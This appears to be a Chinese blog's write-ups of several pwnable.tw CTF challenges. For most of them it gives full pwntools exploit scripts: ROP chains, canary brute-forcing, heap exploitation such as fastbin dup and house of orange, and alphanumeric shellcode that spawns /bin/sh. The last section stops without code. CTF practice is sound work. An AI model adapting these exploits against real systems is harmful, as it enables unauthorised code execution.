网址:https://pwnable.tw
18题以后的题目随缘吧,一是太难,二是pwnable.tw有话在先Do not share the solutions of high score challenges in public.
,就算做出来了也不打算公开了,但是可以交流啊.
starbound 250pts 这题程序很大,如果都看完一是没有必要,而是实在太累.
main函数就有一个十分明显的洞,strtol后得到的idx没有检查边界
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl main (int argc, const char **argv, const char **envp) { int idx; char nptr[256 ]; init (); while ( 1 ) { alarm (0x3C u); bss_menu (); if ( !readn (nptr, 0x100 u) ) break ; idx = strtol (nptr, 0 , 10 ); if ( !idx ) break ; ((void (*)(void ))bss_nop[idx])(); } do_bye (); return 0 ; }
而bss上典型能够让我们写的就是name了,只要重写name,然后将idx指向name,就可以调用任意函数指针了.
首先我们把name改为puts,通过strtol残留在栈上的数据,我们能够打印出刚才strtol输入的字符串,以及buf中未初始化的一些数据,这里我们可以leak出stack地址.
然后通过gadget0x08048e48 add esp, 0x1c ; ret
,我们可以在strtol时在buf中写入ROP,然后改变esp从而得到执行.
由于题目没有提供libc,这里可以用Dynelf来做.从而得到system地址.
再次写ROP,在bss上写/bin/sh,然后getshell.
===
此外,这题还有其他的洞我没有用到,在cmd_kill
中能够fmt,但是执行完就会exit,除非hijack了got.感觉就很鸡肋
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 0 if local: cn = process('./starbound' ) bin = ELF('./starbound' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) else : cn = remote('chall.pwnable.tw' , 10202 ) bin = ELF('./starbound' ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def run_rop (rop_code ): cn.recvuntil('> ' ) pay = '-33' pay = pay.ljust(8 ,'a' ) pay += rop_code cn.send(pay) global stack_buf stack_buf-=0xf0 def set_name (s ): cn.recvuntil('> ' ) cn.sendline('6' ) cn.recvuntil('> ' ) cn.sendline('2' ) cn.recvuntil(': ' ) cn.sendline(s) cn.recvuntil('> ' ) cn.sendline('1' ) def leak (addr ): set_name(p32(add_esp_1c)) pay = p32(bin .plt['write' ]) + p32(p3ret) + p32(1 ) + p32(addr) + p32(0x80 ) pay+=p32(bin .sym['main' ]) run_rop(pay) d = cn.recv(0x80 ) success(d) return d add_esp_1c = 0x08048e48 p3ret = 0x080494da set_name(p32(bin .plt['puts' ])) cn.recvuntil('> ' ) cn.send('-33a' ) cn.recvuntil('-33a' ) stack_buf = u32(cn.recv(4 ))-0xb0 success('stack_buf: ' +hex (stack_buf)) d = DynELF(leak,elf=bin ,libcdb=False ) system = d.lookup('system' ,'libc' ) success('system: ' +hex (system)) set_name(p32(add_esp_1c)) pay = p32(bin .plt['read' ]) + p32(p3ret) + p32(0 ) + p32(0x8058800 ) + p32(0x10 ) pay += p32(system) + 'bbbb' + p32(0x8058800 ) run_rop(pay) cn.send('/bin/sh\x00' ) cn.interactive()
BabyStack 250pts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { _QWORD *addr; __int64 _rand_2; char buf3[64 ]; __int64 rand_1; __int64 rand_2; char buf[16 ]; iinit (); fp = open ("/dev/urandom" , 0 ); read (fp, &rand_1, 0x10 uLL); addr = mmap_addr; _rand_2 = rand_2; *(_QWORD *)mmap_addr = rand_1; addr[1 ] = _rand_2; close (fp); while ( 1 ) { write (1 , ">> " , 3uLL ); _read_chk(0LL , buf, 16LL , 16LL ); if ( buf[0 ] == '2' ) break ; if ( buf[0 ] == '3' ) { if ( guess_success ) func3 (buf3); else puts ("Invalid choice" ); } else if ( buf[0 ] == '1' ) { if ( guess_success ) guess_success = 0 ; else func1 ((const char *)&rand_1); } else { puts ("Invalid choice" ); } } if ( !guess_success ) exit (0 ); if ( memcmp (&rand_1, mmap_addr, 0x10 uLL) ) JUMPOUT (stack_check_fail); return 0LL ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall func1 (const char *rand_1) { size_t len; char s[128 ]; printf ("Your passowrd :" ); read_n (s, 127u ); len = strlen (s); if ( strncmp (s, rand_1, len) ) return puts ("Failed !" ); guess_success = 1 ; return puts ("Login Success !" ); }
1 2 3 4 5 6 7 8 9 int __fastcall func3 (char *a1) { char buf[128 ]; printf ("Copy :" ); read_n (buf, 63u ); strcpy (a1, buf); return puts ("It is magic copy !" ); }
首先,func1中的比较长度是根据我们输入的字符串的strlen来决定的,因此我们输入\x00截断,从而一位位爆破出16字节的rand.
其次,我们注意到,func3的strcpy虽然表面上看起来不会溢出,因为buf只让输入63个字符,而dst为64字节.但是,func1和func3的buf是重叠的,且read_n不会追加0字节,因此我们我们可以在func1中使buf[63]不为0,然后strcpy就能溢出了.
考虑到需要leak,我们调试后发现,strcpy后,main函数中0x10大小的buf会被覆盖成两个libc中的地址,我们考虑去leak后8字节,即setvbuf+324
,从而获得onegadget的地址.
然后在用同样的方法,覆盖返回地址为onegadget,ret getshell!
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 0 if local: cn = process('./babystack' ,env={"LD_PRELOAD" :"/mnt/hgfs/CTF/exercise/pwnable.tw/BabyStack/libc_64.so.6" }) bin = ELF('./babystack' ) libc = ELF('./libc_64.so.6' ) else : cn = remote('chall.pwnable.tw' , 10205 ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() rand_num="" def guess (s ): cn.recvuntil('>> ' ) cn.send('1' .ljust(0x10 ,'\x01' )) d = cn.recv() if 'Your passowrd :' not in d: cn.send('1' .ljust(0x10 ,'\x01' )) cn.recvuntil('Your passowrd :' ) cn.send(s) d = cn.recvline() return d def guess2 (s ): cn.recvuntil('>> ' ) cn.send('1' *8 ) d = cn.recv() if 'Your passowrd :' not in d: cn.send('1' *8 ) cn.recvuntil('Your passowrd :' ) cn.send(s) d = cn.recvline() return d def copy (s ): cn.recvuntil('>> ' ) cn.sendline('3' ) cn.recvuntil('Copy :' ) cn.send(s) for i in range (0x10 ): for j in range (1 ,0x101 ): if j == 0x100 : success("leak fail!!" ) exit() if 'Success' in guess(rand_num+chr (j)+'\x00' ): rand_num+=chr (j) success(rand_num.encode('hex' )) break pay = rand_num[:0x10 ].ljust(0x20 ,'\x00' ) + 'a' *0x20 + rand_num[:0x10 ] + '11111111' guess(pay) copy('a' *63 ) rand_num = rand_num+'11111111' for i in range (6 ): for j in range (1 ,0x101 ): if j == 0x100 : success("leak fail!!" ) exit() if 'Success' in guess2(rand_num+chr (j)+'\x00' ): rand_num+=chr (j) success(rand_num.encode('hex' )) break libc_base = u64(rand_num[0x18 :]+'\x00\x00' )-324 -libc.sym['setvbuf' ] success('libc_base: ' +hex (libc_base)) onegadget = libc_base + 0x45216 pay = rand_num[:0x10 ].ljust(0x20 ,'\x00' ) + 'a' *0x20 + rand_num[:0x10 ] + '1' *0x10 +'bbbbbbbb' +p64(onegadget) guess(pay) copy('a' *63 ) cn.sendline('2' ) ''' 0b:0058│ 0x7ffc1a191c18 —▸ 0x7f5cfef56fb4 (setvbuf+324) ◂— xor edx, edx 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xef6c4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf0567 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' cn.interactive()
Spirited Away 300pts 首先因为是直接read,从栈上能leak出libc和stack
1 sprintf (sprintf_buf, "%d comment so far. We will review them as soon as we can" , cnt);
这一句,当cnt≥100时,最后的n
会溢出到原本值为60的变量上,该为110,从而name和comment就能溢出了.
由于comment能够覆盖栈上的heap_ptr导致任意地址free,因此考虑在栈上伪造一个chunk,下一次name malloc的时候就分配到了栈上,再次栈溢出形成ROP,从而getshell.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 0 if local: cn = process('./spirited_away' ) bin = ELF('./spirited_away' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) else : cn = remote('chall.pwnable.tw' , 10204 ) bin = ELF('./spirited_away' ) libc = ELF('./libc_32.so.6' ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() cn.recvuntil('Please enter your name: ' ) cn.send('veritas' ) cn.recvuntil('Please enter your age: ' ) cn.sendline(str (0x62626262 )) cn.recvuntil('Why did you came to see this movie? ' ) cn.send('X' *0x18 ) cn.recvuntil('Please enter your comment: ' ) cn.send('a' *60 ) cn.recvuntil('X' *0x18 ) libc.address = u32(cn.recv(4 ))-libc.sym['_IO_file_sync' ]-7 success('libc: ' +hex (libc.address)) cn.recvuntil('Would you like to leave another comment? <y/n>:' ) cn.send('y' ) cn.recvuntil('Please enter your name: ' ) cn.send('veritas' ) cn.recvuntil('Please enter your age: ' ) cn.sendline(str (0x62626262 )) cn.recvuntil('Why did you came to see this movie? ' ) cn.send('X' *0x38 ) cn.recvuntil('Please enter your comment: ' ) cn.send('a' *60 ) cn.recvuntil('X' *0x38 ) stack = u32(cn.recv(4 ))-(0xf0 -0x80 ) success('stack: ' +hex (stack)) cn.recvuntil('Would you like to leave another comment? <y/n>:' ) cn.send('y' ) for i in range (100 ): cn.recvuntil('Please enter your name: ' ) cn.send('a' *60 ) cn.recvuntil('Please enter your age: ' ) cn.sendline(str (0x62626262 )) cn.recvuntil('Why did you came to see this movie? ' ) cn.send('a' *80 ) cn.recvuntil('Please enter your comment: ' ) cn.send('a' *60 ) cn.recvuntil('Would you like to leave another comment? <y/n>:' ) cn.send('y' ) cn.recvuntil('Please enter your name: ' ) cn.send('a' *60 ) cn.recvuntil('Why did you came to see this movie? ' ) pay = p32(0 ) + p32(0x41 ) + 'a' *56 + p32(0 ) + p32(0x41 ) cn.send(pay) cn.recvuntil('Please enter your comment: ' ) pay = 'a' *80 + 'bbbb' + p32(stack+8 ) + p32(0 ) + p32(0x41 ) cn.send(pay) cn.recvuntil('Would you like to leave another comment? <y/n>:' ) success('libc: ' +hex (libc.address)) success('stack: ' +hex (stack)) cn.send('y' ) pay = 'a' *0x48 pay+='bbbb' +p32(libc.sym['system' ]) + 'bbbb' +p32(libc.search('/bin/sh\x00' ).next ()) cn.recvuntil('Please enter your name: ' ) cn.send(pay) cn.recv() cn.sendline('aaa' ) cn.recv() cn.sendline('aaa' ) cn.recv() cn.sendline('n' ) cn.interactive()
Secret Garden 350pts 漏洞在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int remove () { int result; flower *p; unsigned int idx; unsigned __int64 v3; v3 = __readfsqword(0x28 u); if ( !flower_num ) return puts ("No flower in the garden" ); __printf_chk(1LL , "Which flower do you want to remove from the garden:" ); __isoc99_scanf("%d" , &idx); if ( idx <= 0x63 && (p = chunklist[idx]) != 0LL ) { LODWORD (p->vaild) = 0 ; free (chunklist[idx]->name); result = puts ("Successful" ); } else { puts ("Invalid choice" ); result = 0 ; } return result; }
首先通过unsortedbin和fastbin可以leak出libc地址和heap段地址,这个不多说.
然后可以用fastbin dup来伪造chunk,修改内存.
比较容易想到是__free_hook
,但是freehook的周围都是\x00
,不给机会.
我想到的是去改_IO_stdout
的vtable为onegadget.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 0 if local: cn = process('./secretgarden' ) bin = ELF('./secretgarden' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) else : cn = remote('chall.pwnable.tw' , 10203 ) bin = ELF('./secretgarden' ) libc = ELF('./libc_64.so.6' ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def raiseflower (length,name,color ): cn.recvuntil(":" ) cn.sendline("1" ) cn.recvuntil(":" ) cn.sendline(str (length)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(color) def visit (): cn.recvuntil(":" ) cn.sendline("2" ) def remove (idx ): cn.recvuntil(":" ) cn.sendline("3" ) cn.recvuntil(":" ) cn.sendline(str (idx)) def clean (): cn.recvuntil(":" ) cn.sendline("4" ) raiseflower(0x80 ,'000' ,"aaa" ) raiseflower(0x80 ,'111' ,"aaa" ) raiseflower(0x28 ,'222' ,"aaa" ) raiseflower(0x80 ,'333' ,"aaa" ) remove(0 ) remove(2 ) raiseflower(0x80 ,'X' *8 ,"aaa" ) visit() cn.recvuntil('X' *8 ) if local: libc.address = u64(cn.recv(6 )+'\x00\x00' ) - 0x3c4b20 - 88 else : libc.address = u64(cn.recv(6 )+'\x00\x00' ) - 0x3c3b20 - 88 success('libc: ' +hex (libc.address)) raiseflower(0x40 ,'55' ,"aaa" ) raiseflower(0x40 ,'66' ,"aaa" ) raiseflower(0x40 ,'77' ,"aaa" ) remove(5 ) remove(6 ) raiseflower(0x40 ,'Q' ,"aaa" ) visit() cn.recvuntil('Name of the flower[8] :' ) heap_base = u64(cn.recv(6 )+'\x00\x00' )-0x1251 success('heap_base: ' +hex (heap_base)) raiseflower(0x40 ,'99' ,"aaa" ) raiseflower(0x28 ,'00' ,"aaa" ) raiseflower(0x28 ,'11' ,"aaa" ) raiseflower(0x28 ,'22' ,"aaa" ) raiseflower(0x28 ,'33' ,"aaa" ) raiseflower(0x28 ,'44' ,"aaa" ) raiseflower(0x60 ,'55' ,"aaa" ) raiseflower(0x60 ,'66' ,"aaa" ) raiseflower(0x100 ,'77' ,"aaa" ) remove(10 ) remove(11 ) remove(12 ) remove(13 ) remove(14 ) remove(15 ) remove(16 ) remove(15 ) _IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_' ] if local: onegadget = libc.address + 0x4526a else : onegadget = libc.address + 0x4526a pay = p64(_IO_2_1_stdout_+0x90 +13 ) raiseflower(0x60 ,pay,"aaa" ) raiseflower(0x60 ,p64(onegadget)*12 ,"PAY" ) raiseflower(0x60 ,'99' ,"aaa" ) jumps_addr = heap_base + 0x1750 pay = '\x00' *0x13 + '\xff\xff\xff\xff' + '\x00' *(9 +8 +3 ) pay += p64(jumps_addr) raiseflower(0x60 ,pay,"aaa" ) cn.interactive()
除了这个方法,其实还可以去改malloc_hook,freehook,甚至是到栈上写ROP!
这位博主整理的很到位:http://tacxingxing.com/2018/02/20/pwnabletw-secretgarden/
Alive Note 350pts 和之前的death note一个类型,都是带限制的shellcode,但这个难了不少…
先说下限制点,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned int add_note () { int idx; char s[8 ]; unsigned int v3; v3 = __readgsdword(0x14 u); printf ("Index :" ); idx = read_int (); if ( idx > 10 ) { puts ("Out of bound !!" ); exit (0 ); } printf ("Name :" ); read_input (s, 8u ); if ( !check (s) ) { puts ("It must be a alnum name !" ); exit (-1 ); } note[idx] = strdup (s); puts ("Done !" ); return __readgsdword(0x14 u) ^ v3; }
还是一样的洞,idx没有检查负数,导致可以hijack got.
但是这次要求shellcode只含字母和数字,而且,shellcode被强行分成了8bytes一段.
但是被分成了8bytes不表示执行完8bytes程序就gg了.因为chunk head的二进制为\x00\x00\x00\x00\x11\x00\x00\x00
,反编译为
1 2 3 4 5 In [127]: print disasm('\x00\x00\x00\x00\x11\x00\x00\x00') 0: 00 00 add BYTE PTR [eax],al 2: 00 00 add BYTE PTR [eax],al 4: 11 00 adc DWORD PTR [eax],eax 6: 00 00 add BYTE PTR [eax],al
只要此时的eax为可写段地址即可,比如栈.
后面怎么写的就不多说了,写的很心累.我是强行去执行execve(“/bin/sh”,0,0)来做的.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process('./alive_note' ) bin = ELF('./alive_note' ) else : cn = remote('chall.pwnable.tw' , 10300 ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() pay = """ /*0x0*/ pop edx; pop ecx; /* shellcode addr */ pop eax; pop eax; /* stack addr */ xor cl,[ecx+0x4c] inc ecx; /* edx = 0x80488ef */ /* ebx = 0 */ add BYTE PTR [eax],al; add BYTE PTR [eax],al; adc DWORD PTR [eax],eax; add BYTE PTR [eax],al; /*0x10*/ inc ecx; inc ecx;/* cl = 0xc */ push 0x6e6e6e6e pop edx add BYTE PTR [eax],al; add BYTE PTR [eax],al; adc DWORD PTR [eax],eax; add BYTE PTR [eax],al; /*0x20*/ xor [ecx],dh dec ecx; dec ecx; dec ecx; dec ecx;/* cl = 0x8 */ xor [ecx],dh add BYTE PTR [eax],al; add BYTE PTR [eax],al; adc DWORD PTR [eax],eax; add BYTE PTR [eax],al; /*0x30*/ push ecx push ebx xor [ecx+0x46],dh pop ecx .byte 0x35 /* pop ebx*/ pop edx /*eax = stack addr*/ /*ebx = /bin/sh */ /*ecx = 0 */ /*edx = 0x6e6e6e6e */ add BYTE PTR [eax],al; add BYTE PTR [eax],al; adc DWORD PTR [eax],eax; add BYTE PTR [eax],al; /*0x40*/ xor [ebx+0x64],dl /*smc int*/ xor [ebx+0x65],dl /*smc 0x80*/ push ecx pop edx /*eax = stack addr*/ /*ebx = /bin/sh */ /*ecx = 0 */ /*edx = 0 */ add BYTE PTR [eax],al; add BYTE PTR [eax],al; adc DWORD PTR [eax],eax; add BYTE PTR [eax],al; /*0x50*/ pop eax pop eax xor al,0x4a .byte 0x74 /* int */ .byte 0x39 /* 0x80*/ add BYTE PTR [eax],al; add BYTE PTR [eax],al; adc DWORD PTR [eax],eax; add BYTE PTR [eax],al; /*0x60*/ .byte 0x41 /* for 0xb */ .byte 0x00 /* for 0xb */ .byte 0x00 /* for 0xb */ .byte 0x00 /* for 0xb */ /* execve("/bin/sh",0,0) */ /* eax=0xb, ebx = /bin/sh,ecx=0 ,edx=0*/ """ shellcode= asm(pay) print shellcodeprint len (shellcode)scs = shellcode.split('\x00\x00\x00\x00\x11\x00\x00\x00' ) def add (idx,s ): cn.recvuntil('Your choice :' ) cn.sendline('1' ) cn.recvuntil('Index :' ) cn.sendline(str (idx)) cn.recvuntil('Name :' ) cn.send(s.ljust(8 ,'\x00' )) add(0 ,'AbinAsh' ) add(-27 ,scs[0 ]) for i in range (1 ,len (scs)): add(0 ,scs[i]) z('b*0x080488EA\nc' ) cn.recvuntil('Your choice :' ) cn.sendline('3' ) cn.recvuntil('Index :' ) cn.sendline('-27' ) cn.interactive()
做完看了别人的解答,其实可以曲线救国,因为/bin/sh
真的不好传,所以可以先执行syscall调用read把正常的shellcode读进来,然后跳到正常的shellcode上执行getshell.(脑子还是不够灵活
BookWriter 350pts 此题用house of orange做
三个洞:
info函数中的author没有零截断,可以leak出page0,即heap
add函数中的i处理不当,若pagesize[0]为0,则可以读入第九个page,此时page[0]的pagesize被改写,从而可以暴力堆溢出
edit函数中用strlen重新计算长度不当,因为page也没有0截断,因此如果后面有连字符(如chunk size),就能在第二次edit时改写.
偷个懒(其实是有原因的),我们使用2.24下house of orange的做法,这样就不用leak堆地址了. 原因是题目没有设置stdin为无缓冲,因此一旦进入info函数触发scanf就会在堆上为stdin分配buf,导致我本地利用成功,远程gg的尴尬.
orange的细节以及exp中的FILE模块,可以见我IO_FILE学习笔记那篇文章.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','bash','-c'] local = 0 if local: cn = process('./bookwriter',env={"LD_PRELOAD":"./libc_64.so.6"}) bin = ELF('./bookwriter') libc = ELF('./libc_64.so.6') else: cn = remote('chall.pwnable.tw', 10304) bin = ELF('./bookwriter') libc = ELF('./libc_64.so.6') def z(a=''): gdb.attach(cn,a) if a == '': raw_input() def add(s,l): cn.recvuntil('Your choice :') cn.sendline('1') cn.recvuntil('Size of page :') cn.sendline(str(l)) cn.recvuntil('Content :') cn.send(s) def view(idx): cn.recvuntil('Your choice :') cn.sendline('2') cn.recvuntil('Index of page :') cn.sendline(str(idx)) def edit(idx,s): cn.recvuntil('Your choice :') cn.sendline('3') cn.recvuntil('Index of page :') cn.sendline(str(idx)) cn.recvuntil('Content:') cn.send(s) def info(): cn.recvuntil('Your choice :') cn.sendline('4') def set_author(s): cn.recvuntil('Author :') cn.send(s) set_author('a'*64) add('A'*0x18,0x18)#0 edit(0,'\x00'*0x18) #house of orange add('B'*0x88,0x88)#1 edit(1,'B'*0x88) #topchunk size = 0x20f51 --> 0xf51 edit(1,'B'*0x88 + '\x51\x0f\x00') #triger int_free add('C',0x1000)#2 add('D'*8,0x200)#3 view(3) cn.recvuntil('D'*8) libc.address = u64(cn.recv(6).ljust(8,'\x00'))-0x3c3b20-1640 _IO_str_jumps = libc.address + 0x3c27a0 system = libc.sym['system'] _IO_list_all=libc.sym['_IO_list_all'] binsh = libc.search('/bin/sh\x00').next() success('libc: '+hex(libc.address)) success('system: '+hex(system)) success('_IO_list_all: '+hex(_IO_list_all)) success('_IO_str_jumps: '+hex(_IO_str_jumps)) success('binsh: '+hex(binsh)) for i in range(4,9): add(str(i)*0x10,0x10) pay='\x00'*0x350 from FILE import * context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base =_IO_list_all-0x10 fake_file._IO_buf_base = binsh fake_file._mode = 0 fake_file._IO_write_base = 0 fake_file._IO_write_ptr = 1 fake_file.vtable = _IO_str_jumps-8 pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system) edit(0,pay) cn.recvuntil('Your choice :') cn.sendline('1') cn.recvuntil('Size of page :') cn.sendline('1') cn.interactive()
MnO2 400pts 丧心病狂的pwnable.tw这次要用元素周期表的元素名和数字来组shellcode,emmm,不想多解释,原因你懂的.
exp已经尽量写的很清楚了.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 from pwn import *context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 0 if local: cn = process('./mno2' ) else : cn = remote('chall.pwnable.tw' , 10301 ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() sc = ''' push ebp pop eax gs inc esi ''' sc+='dec eax\n' *64 sc+=''' push edi xor esi,DWORD PTR [eax] dec esi ''' sc+=''' dec eax dec eax dec eax dec eax push edi xor edi,DWORD PTR [eax] /* edi = 0*/ inc edx push 0x50465656 dec eax dec eax dec eax dec eax xor edi,DWORD PTR [eax] inc edx push 0x59724949 dec eax dec eax dec eax dec eax xor edi,DWORD PTR [eax] inc edx push 0x61473030 dec eax dec eax dec eax dec eax xor edi,DWORD PTR [eax] ''' sc+=''' inc edx push 0x56464f56 dec eax dec eax dec eax dec eax xor esi,DWORD PTR [eax] inc edx push 0x61436e49 dec eax dec eax dec eax dec eax xor esi,DWORD PTR [eax] inc edx push 0x596c4330 dec eax dec eax dec eax dec eax xor esi,DWORD PTR [eax] ''' sc+=''' push ebx /* 0 */ push edi /* '//sh' */ push esi /* '/bin' */ ''' sc+='dec eax\n' *12 sc+=''' push ebx push ebx push esp gs inc esi push eax push esp gs inc esi push ebp push ebx push ebx inc edx popad /* use popad to change value in reg */ ''' sc+='inc edx\n' *52 sc+='xor esi,DWORD PTR [edx]\n' sc+='inc esi\n' *10 sc+='push esi\n' sc+='inc esi\n' *57 sc+='push esi\n' sc+=''' inc edx push 0x324f704e /* int 0x80 addr */ push eax push eax push ebx push esp gs inc esi dec esi push ebp push edx gs inc esi inc edx push 0x324f704e inc edx popad ''' sc+='dec esi\n' *49 sc+=''' xor dh,BYTE PTR [esi] xor BYTE PTR [edi],dh inc edi gs inc esi dec esi dec esi dec esi dec esi dec esi xor dh,BYTE PTR [esi] xor BYTE PTR [edi],dh ''' sc+=''' xor dh,BYTE PTR [esi] inc esi inc esi inc esi inc esi xor dh,BYTE PTR [esi] push edx gs inc esi push edx gs inc esi push edx gs inc esi push ebx push esp gs inc esi push ebp push edx gs inc esi push edx gs inc esi inc edx popad ''' sc+='inc edx\n' *11 sc+=''' push edx gs inc esi dec esi push esi push esi push ebx push esp gs inc esi dec esi push ebp push esi push esi inc edx popad ''' sc+='inc esi\n' *0x3f sc+=''' .byte 0x39 .byte 0x59 ''' shellcode = asm(sc) print shellcodecn.sendline(shellcode) cn.interactive() ''' [B] inc edx [Ba] inc edx;popad [Bhxxxx] inc edx;push 0xDEADBEEF [C] inc ebx [F] inc esi [H] dec eax [I] dec ecx [K] dec ebx [N] dec esi [O] dec edi [P] push eax [S] push ebx [U] push ebp [V] push esi [W] push edi [Y] pop ecx [XeFN] pop eax;gs inc esi;dec esi [TeFN] push esp;gs inc esi;dec esi [ReFN] push edx;gs inc esi;dec esi [GeFN] inc edi;gs inc esi;dec esi [30] xor esi,DWORD PTR [eax] [38] xor edi,DWORD PTR [eax] [32] xor esi,DWORD PTR [edx] [26] xor dh,BYTE PTR [esi] [07] xor BYTE PTR [edi],dh '''
Secret Of My Heart 400pts 感觉这题出简单了??
mmap的空间虽然是随机的,但是却用时间做种子,同步时间后就能准确算出mmap空间的地址了(虽然我完全没用到,难道偷鸡了?)
首先是在add函数中的子函数中,存在heap leak和null-off-by-one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void __cdecl make_heart(heart *a1, __int64 len) { a1->len = len; printf("Name of heart :"); read_n(a1->name, 0x20u); // leak heap a1->secret = (char *)malloc(len); if ( !a1->secret ) { puts("Allocate Error !"); exit(0); } printf("secret of my heart :"); a1->secret[(signed int)read_n(a1->secret, len)] = 0;// bug NULL-off-by-one }
利用这两点就可以构造堆块,从而leak出libc地址了.
通过null-off-by-one,我们可以做到chunk overlap,从而实现fastbin dup
然后就能直接去改stdout的vtable到heap上的onegadget.
exp:
